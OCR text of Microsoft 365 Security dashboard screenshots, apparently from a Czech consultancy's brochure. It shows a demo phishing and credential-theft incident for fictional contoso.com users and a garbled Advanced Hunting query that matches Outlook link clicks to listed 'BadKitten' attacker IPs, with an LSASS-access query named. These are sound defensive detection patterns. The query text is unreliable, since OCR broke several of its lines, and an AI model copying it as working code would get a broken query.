Category W Jonathan Wolcott Sales manager A High - 127 Conditional access applied jonwolcot@contoso.com Sales USA E cont-jonawolcot A\ High risk Jan 01,2015 08:00 AM Jul 03,2018 09:29 AM
Compromised mailbox ~ Suspicius activity
Persistence  Credential Theft RG Robin Goolsby Accounter A High-127 Conditional access applied robing@contoso.com Finance Ll cont-robingoolsby A High risk Jan 05,2013 08:07 AM Jul 03, 2018 0929 AM
Compromised account  Suspicius activity . - ) _ _ .
EM Eva Macias Accounter A High - 127 Conditional access applied evamacias@contoso.com Finance Z cont-evamacias A\ High risk Jan 05,2009 09:07 AM Jul 03, 2018 09:29 AM
JP  Jess Passmore Engineer A High - 127 Conditional access applied ntoso.com Engineering Ll cont-jesspassmore A\ High risk Jan 05, 2016 09:07 AM Jul 03,2018 09:29 AM

ACTIVE
Activity time
First - Jul 03, 2018
Last- Jul 03, 2018

Duration

00H : 03m : 23s
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Microsoft 365 Security

= @ Share [ Comments and history O3 Actions and assistance

o Dashboard > Incident

< ROEJ

I

Incident #496 Alerts Devices  Identities  Inwvestigations [ncident graph  Action center

Edit incident name

EEHE High

Conditional access applied

NCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to
Dan Smith
Unassign
Category
Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 201¢

Last- Jul03, 2

Duration

00H : 03m : 23s

~ Triggering alert

Email reported as phishing

Suspicious PowerShell

Golden ticket compromised

Spear-phishing attack

ALERT AGGREGATION

Alerts
Suspicious PowerShell

Investigation state

Remediated
Running

Running

Remediated

CONTAINMENT

REMEDIATED

~ Conditional Access

REMEDIATED >

EI Machine Restriction

Investigated entities

Ll cont-jonawolcot =] Jonathan.wolcott@contoso

Ll cont-jonawolcot

JW Jonathan Wolcott

Ll cont-jonawolcot

RUNMING

Process based pivot
Find Process by CLI similarity
Find process by behavior

[.] File based pivot

Find devices by file hash
Find devices by file similarity hash

RUNNING

L1 Device + Time based pivot
Find Suspicious authentication
Find user's devices

MNVESTIGATION

Investigative and remediate
suspicious Process

RUNNING

Investigative and remediate
suspicious File

Investigative and remediate
suspicious user device
Mo threat found

1 Collapse table

@ Export M@ Customize columns <7 Filters
Start date Duration
Jul 03,2018 09:26 AM
Jul 03,2018 09:26 AM 00:00:23

Jul 03, 2018 0926 AM

Jul 03, 2018 09:26 AM

RESPONSE
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Microsoft 365 Security

= @ Share [ Comments and history O3 Actions and assistance
-
@ Dashboard > Incident
— Incident #496 Alerts  Devices  Identities  Investigations Incident graph  Action center I Collapse table
Edit incident name
5 EEE High @0 Export @ Customize columns 7 Filters
Conditional access applied
L= ~ Triggering alert Investigation state Investigated entities Start date Duration
NCIDENT DETAILS
Email reported as phishing Remediated Ll cont-jonawolcot =] Jonathan.wolcott@contoso Jul 03,2018 09:26 AM 00:00:23
? Status
e Suspicious PowerShell Remediated L cont-jonawolcot Jul 03,2018 09:26 AM 00:00:23
. Classification
= True positive Golden ticket compromised Running W Jonathan Wolcott Jul 03,2018 09:26 AM 00:00:23
Set status and classification
D Spear-phishing attack Remediated Ll cont-jonawolcot Jul 03, 2018 09:26 AM 00:00:20
Assigned to
Dan Smith
Unassign
Catego
egory ALERT AGGREGATION CONTAINMENT MNVESTIGATION RESPONSE

Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity [ compreren | [T conipLETED |

: Process based pivot "= Investigative and remediate

Find Process by CLI similarity > suspicious Process
Find process by behavior

remeoiaten ([T
Re
~ Conditional Access [ compieren | LT conpieren | & mave

q e y Conditional Access
Alerts [1 File based pivot “= Investigative and remediate

Suspicious PowerShell REMEDIATED > Find devices by file hash > suspicious File >
P m Find devices by file similarity hash

L1 Device + Time based pivot ‘= Investigative and remediate
ACTIVE Fine Suspicious authentication > suspicious user device

Find user's devices Mo threat found

EI Remove

£ Machine Restriction Machine Restriction

Activity time
First - Jul 03, 2018
Last- Jul 03, 2018

Duration

00H : 03m : 23s
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Microsoft 365 Security

Incident #496
Edit incident name
EEE High

Conditional access applied

NCIDENT DETAILS

Status

Active

Classification
True positive

Set status and classification

Assigned to
Dan Smith
Unassign
Category
Compromised mailbox ~ Suspicius activity

Persistence  Credential Theft

Compromised account  Suspicius activity

ACTIVE
Activity time
First - Jul 03, 2018
Last- Jul 03, 2018

Duration

00H : 03m : 23s

Dashboard > Incident

Alerts Devices  Identities  Investigations

~ Triggering alert

Email reported as phishing
@ Suspicious PowerShell
Golden ticket compromised

Spear-phishing attack

ALERT AGGREGATION

Alerts
Suspicious PowerShell

Incident graph ~ Action center

Investigation state

Remediated
Remediated
Running

Remediated

CONTAINMENT

REMEDIATED

~ Conditional Access

REMEDIATED >

EI Machine Restriction

Investigated entities

L cont-jonawolcot
Ll cont-jonawolcot
JW  Jonathan Wolcott

Ll cont-jonawolcot

Process based pivot
Find Process by CLI similarity
Find process by behavior

|

[.] File based pivot
Find devices by file hash
Find devices by file similarity hash

L1 Device + Time based pivot

Find Suspicious authentication
Find user's devices

=] Jonathan.wolcott@contoso

MNVESTIGATION

Investigative and remediate
suspicious Process

Investigative and remediate
suspicious File

Investigative and remediate
suspicious user device
Mo threat found

>

b
i

i Share

-] Comments and history [ Actions and assistance

1 Collapse table

@0 Export T3 Customize columns 5 Filters
Start date Duration
Jul 03, 2018 09:26 AM 00:00:23
Jul 03, 2018 09:26 AM 00:00:23
Jul 03, 2018 09:26 AM 00:00:23
Jul 03, 2018 09:26 AM 00:00:20

RESPONSE

Remove

9 Conditional Access

EI Remove
Machine Restriction
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L AND DATA

Investigate activities that put your users and data

at risk, and take action to protect your
organization.
Get started by investigating suspicious emails
that reached your users at Threat explorer
DEVICE AND IDENTITY
Proactively hunt for threat activity across your

devices and identities using powerful,
customizable gueries.

v Database schema

2 Community

. GitHub shared queries

21 Find email links that resulted in ...

BadKitten

Uncommon access to LSASS
Downloaded documents
Browser query

Uncommon access to LSASS
Downloaded documents
File downloads from
Uncommon access to LSASS

v Recommended queries

s Shared queries

~ My gueries

v Schedule queries

Get started Find email links that resulted in BadKitten...

Save v Schedule query

// Check for browser sessions initiated from links opened by Outlook to specific known BadKitten infrastructure IP addresses
let infralP =
NetworkCommunicationEvents
| where RemoteIP in
("139.59.208.246","130.255.73.90","31.3.135.232","52.174.55.168" ,"185.121.177.177" ,"185.121.177.53");
let emaillinks =
MiscEvents
/¢ Filter on link clicks from Outlook (do case insensitive match using =-~)
| where ActionType == "BrowserlLaunchedToOpenUrl™ and isnotempty(RemoteUrl) and InitiatingProcessFileName =~ "outlook.exe"
| project ComputerName, MaillLink=RemotelUrl;
FileCreationEvents
| where isnotempty(FileOriginUrl) and InitiatingProcessFileName in~ ("chrome.exe", "browser_broker.exe")
oject FileName, FileOriginUrl, FileOriginReferrerUrl, ComputerName, EventTime, SHA1
n kind=inner (emaillinks) on ComputerName, $left.FileOriginUrl == $right.Maillink

e Event time UserlD User name Email address Sources email address

Jul 23, 2018 06:54:34 AM 03121af47b0Bf388H20 RG Robin Goolsby Bl robing@contoso.com Invoce_2232@gmail.com

Jul 03, 2018  08:43:31 AM 031f21af47h74v3fasff2t

RF Rex Fredrickson F rexf@contoso.com Invoce_2232@gmail.com

Jul 07, 2018  06:43:31 AM e1ff19c8brge53073aff3t

JP  less Passmore Bl jessp@contoso.com Invoce_2232@gmail.com

b
i

? Help /" Expand view

Advanced hunting > Find email links that resulted in BadKitten downloads on endpoints

-+ Create new

Last 30 days ~

B2 Export [ Customize columns ¥ Filters

Mail subject Mail count
Please review this invoice 1
Your amazon order is now available 1
Please review ASAP 1



Nechte si poradit

Pomuzeme nejen se zabezpefenim Microsoft 365

KPCS CZ

Predni cesky poskytovatel reseni postavenych na infrastrukture a
cloudovych sluzbach spolecnosti Microsoft. Nasi Spickovi konzultanti
jsou tim, co nas cini unikatnimi nejen v Ceské republice, ale po celé Evropé
a USA.

Jsme autory jedinecné sluzby ATOM dohlizejici komplexné na celé
prostiedi po strance dostupnosti, ale predevsim bezpecnosti.

Nabizime konzultace, implementace, migrace, kontroly zabezpeceni,
skoleni, adop¢ni kampané i zajisténi technické podpory a pronajem
licenci pro celé spektrum portfolia spolecnosti Microsoft.

Nasi konzultanti vas provedou nejen svétem online sluzeb Microsoft 365 a
Azure, ale také tradicnimi lokalnimi serverovymi produkty spolecnosti
Microsoft, tedy Exchange, SharePoint a Windows Server.

obchod@kpcs.cz | www.kpcs.cz | www.atom.ms
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